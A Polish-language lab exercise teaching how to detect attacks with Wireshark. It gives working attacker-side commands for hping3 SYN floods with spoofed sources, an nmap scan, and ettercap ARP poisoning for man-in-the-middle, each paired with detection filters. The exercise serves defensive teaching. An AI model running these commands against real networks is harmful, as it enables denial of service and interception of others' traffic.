Ćwiczenie - Wykrywanie i analiza ataku DDoS za pomocą narzędzia Wireshark

3-way handshake protokołu TCP

```
Klient  -- SYN=1 --> Serwer
Klient <-- SYN=1,ACK=1 -- Serwer
Klient  -- ACK=1 --> Serwer
Klient  -- dane --> Serwer
Klient <-- ACK=1 -- Serwer
```

Atak SYN flood

```
fałszywy klient -- SYN=1 --> serwer
fałszywy klient -- SYN=1 --> serwer
          <-- SYN=1,ACK=1 -- serwer
fałszywy klient -- SYN=1 --> serwer
fałszywy klient -- SYN=1 --> serwer
          <-- SYN=1,ACK=1 -- serwer
fałszywy klient -- SYN=1 --> serwer
fałszywy klient -- SYN=1 --> serwer
fałszywy klient -- SYN=1 --> serwer
prawdziwy klient -- SYN=1 --> server
prawdziwy klient   xxxxx      server (przepełniona kolejka TCP)
```

Przykład ataku DDoS z losowych adresów ip Potrzebne narzędzia:

- na komputerze atakującego: `hping3`
- na komputerze ofiary `wireshark`

Instalacja Debian/Ubuntu/Kali

```
sudo apt install -y hping3
```

Instalacja Fedora/CentOS/Rhel

```
sudo dnf install hping3
```

Przeprowadzenie ataku DDoS z losowych adresów ip Uwaga, w całym ćwiczeniu adres `192.168.1.15` jest dla celów szkoleniowych adresem lokalnym, tak aby niepotrzebnie nie atakować realnych celów. Wykonując ćwiczenie należy podmienić ten adres na swój własny adres lokalny lub adres serwera/komputera, który mamy prawo atakować.

```
sudo hping3 -c 100000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.15

# opis opcji
- c 100000 - wysłanie 100000 pakietów
- d 120     - rozmiar pakietu 120 bajtów
- S         - wysłanie pakietów z flagą SYN
- w 64      - okno TCP o rozmiarze 64 kilobajty
- p 80      - atak portu 80
- flood     - zastępujemy nasz adres docelowy pakietami z ustawionym nagłówkiem SYN
```

```
- rand-source - jako źródło będą podawane losowe adresy ip
- 192.168.1.15 - adres atakowanego komputera ofiary
```

Filtry Wireshark pomagające w analizie ruchu sieciowego po stronie komputera ofiary Monitorując ruch sieciowy (np. z pomocą wireshark) możemy stosunkowo łatwo stwierdzić, że jest prowadzony na nas atak DoS lub DDoS. W celu zidentyfikowania ataku, możemy posłużyć się konkretnymi narzędziami/filtrami w wireshark

```
# Pokazuje pakiety tylko z flagą SYN
tcp.flags.syn == 1 and tcp.flags.ack == 0
# Pokazuje pakiety z flagą SYN i flagą ACK
tcp.flags.syn == 1 and tcp.flags.ack == 1
# Pokazuje pakiety z flagą ACK ze źródła 35.131.58.4
tcp.flags.syn == 0 and tcp.flags.ack == 1 and ip.src == 35.131.58.4
# Pokazuje pakiety z flagą ACK, których źródłem nie jest 192.168.1.15
tcp.flags.syn == 0 and tcp.flags.ack == 1 and ip.src != 192.168.1.15
# Pokazuje ilość wysłanych odpowiedzi z komputera ofiary z flagą SYN i ACK
tcp.flags.syn == 1 and tcp.flags.ack == 1 and ip.src == 192.168.1.15
```

Sprawdzamy informacje DNS o atakowanym celu, np. o domenie inseqr.pl

```
dig inseqr.pl
```

Otrzymujemy informację o adresie ipv4 serwera: 185.38.249.172

Zapisujemy do pliku ruchu pakietów przy otwieraniu strony inseqr.pl

```
tshark -i eth0 -w ruch_inseqr
```

Filtry do analizy ruchu w wiresharku (mogą być stosowane zarówno po stronie atakującego, jak i ofiary)

```
(ip.src == 192.168.1.15 or ip.src == 185.38.249.172) and (ip.dst == 185.38.249.172 or
ip.dst == 192.168.1.15)
```

Przykład ataku DDoS gdzie jako źródło podajemy adres komputera ofiary Ponownie wykorzystujemy narzędzie hping3

Instalacja Debian/Ubuntu/Kali

```
sudo apt install -y hping3
```

Instalacja Fedora/CentOS/Rhel

```
sudo dnf install hping3
```

Przeprowadzenie ataku DDoS z losowych adresów ip

```
sudo hping3 -c 100000 -d 120 -S -w 64 -p 80 --flood  -a 192.168.1.15 192.168.1.15

# opis opcji
- c 100000 - wysłanie 100000 pakietów
- d 120     - rozmiar pakietu 120 bajtów
- S         - wysłanie pakietów z flagą SYN
```

```
- w 64      - okno TCP o rozmiarze 64 kilobajty
- p 80      - atak portu 80
- flood     - zastępujemy nasz adres docelowy pakietami z ustawionym nagłówkiem SYN
- a 192.168.1.15 - jako źródło podany jest adresy ip komputera ofiary
- 192.168.1.15 - adres atakowanego komputera ofiary
```

Wnioski płynące z ataku DDoS gdzie jako źródło podajemy adres komputera ofiary

1. adres źródła jest taki sam jak adres przeznaczenia

   ```
    50641    3.718308539    192.168.1.15    192.168.1.15    TCP    174    53591 → 80 [SYN] Seq=0 Win=64 Len=120 [TCP segment of a reassembled PDU]
   ```

2. pakiety z flagą SYN następują bardzo szybko po sobie
3. porty nie zostają zwolnione a zostają cały czas zablokowane w związku z tym że klient wpada we własną pętle i nie jest w stanie odesłać potwierdzenia przyjęcia połączenia

   ```
    74531    4.669268104    192.168.1.15    192.168.1.15    TCP    174    [TCP Port numbers reused] 11942 → 80 [SYN] Seq=0 Win=64 Len=120 [TCP segment of a reassembled PDU]
   ```

Wykrywanie skanowania portów

Potrzebne narzędzia:

- na komputerze atakującego: `nmap`
- na komputerze ofiary `wireshark`

Skanowanie protokołów UDP i TCP na portach od 1 do 80 komputera ofiary na adresie ip 192.168.1.15

```
sudo nmap -sU -sT -p 1-80 192.168.1.15
```

Nagranie ruchu pakietów w czasie skanowania nmap'em na komputerze ofiary

```
tshark -w skanowanieNmap
```

Analiza przechwyconego ruchu z komputera ofiary za pomocą wiresharka

```
# filtr pokazujący tylko przychodzace pakiety z adresu 192.168.1.15
ip.src == 192.168.1.15
# filtr pokazujący przesłane pakiety z flagą SYN
ip.src == 192.168.1.15 and tcp.flags.syn == 1
# filtr pokazujący przesłane pakiety z flagą ACK
ip.src == 192.168.1.15 and tcp.flags.ack == 1
```

ARP poisoning wireshark

Na poziomie sieci lokalnej do translacji adresów IP na adresy interfejsów sieciowych Mac służy tak zwany protokół ARP (Address Resolution Protocol). Komputer szukający adresu innego komputera wysyła broadcast w sieci lokalnej do wszystkich urządzeń

ARP request: *Kto ma adres 192.168.1.3, odpowiedz do 192.168.1.4*

w odpowiedzi otrzymuje ARP response: *192.168.1.3 jest pod adresem 00:00:00:00:00:03*

Na podstawie takiej komunikacji buduje swoją tablicę ARP składająca się z adresu IP oraz adresu MAC

Protokół ARP nie posiada mechanizmów autentykacji. Dlatego łatwo go wykorzystać do rozsyłania sfałszowanych adresów MAC, taki atak nazywamy ARP poisoning.

ARP poisoning - polega na tym że złośliwe urządzenie wysyła fałszywe informacje wskazujące że atakowany adres IP jest kojarzony z innym adresem MAC niż w rzeczywistości. Prowadzi to do fałszowania wpisów w tablicy ARP, przez co komunikaty wysłane pod określonym adresem IP nie wracają do właściwego komputera a do komputera atakującego. Jest to podstawa do ataku *Man In the Middle*.

Potrzebne narzędzia do przeprowadzenia ataku:

- na komputerze atakującego: `ettercap`
- na komputerze ofiary `wireshark`

Sprawdzenie adresu IP i adresu MAC komputera atakującego

```
ip a
```

Sprawdzenie tablicy ARP na komputerze ofiary (zakładając system Linux lub podobny)

```
arp -a
```

Włączenie ARP poisoning'u na komputerze atakującego

```
sudo ettercap -T -q -i eth0 -w plikDoAnalizy -M ARP /192.168.1.15/ /192.168.1.103/

# Krótki opi komendy:
#   - sudo: podniesienie uprawnień użytkownika.
#   - ettercap:
#       - T: interfejs tekstowy
#       - q: tryb cichy
#       - i eth0: interfejs sieciowy na którym chcemy dokonać ataku
#   - w plikDoAnalizy: zapis komunikacji do pliku, który można otworzyć w Wiresharku
#   - M ARP: Wybór ARP poisoning do ataku MITM
#   - /192.168.1.15/: adres IP komputera ofiary
#   - /192.168.1.103/: adres IP komputera pod który się podszywamy
```

Efekt ataku na komputerze ofiary możemy przeanalizować z wykorzystaniem wiresharka. Rejestrujemy ruch pakietów. Ograniczamy widok widocznych pakietów wpisując w pole filtru nazwę protokołu arp:

```
arp
```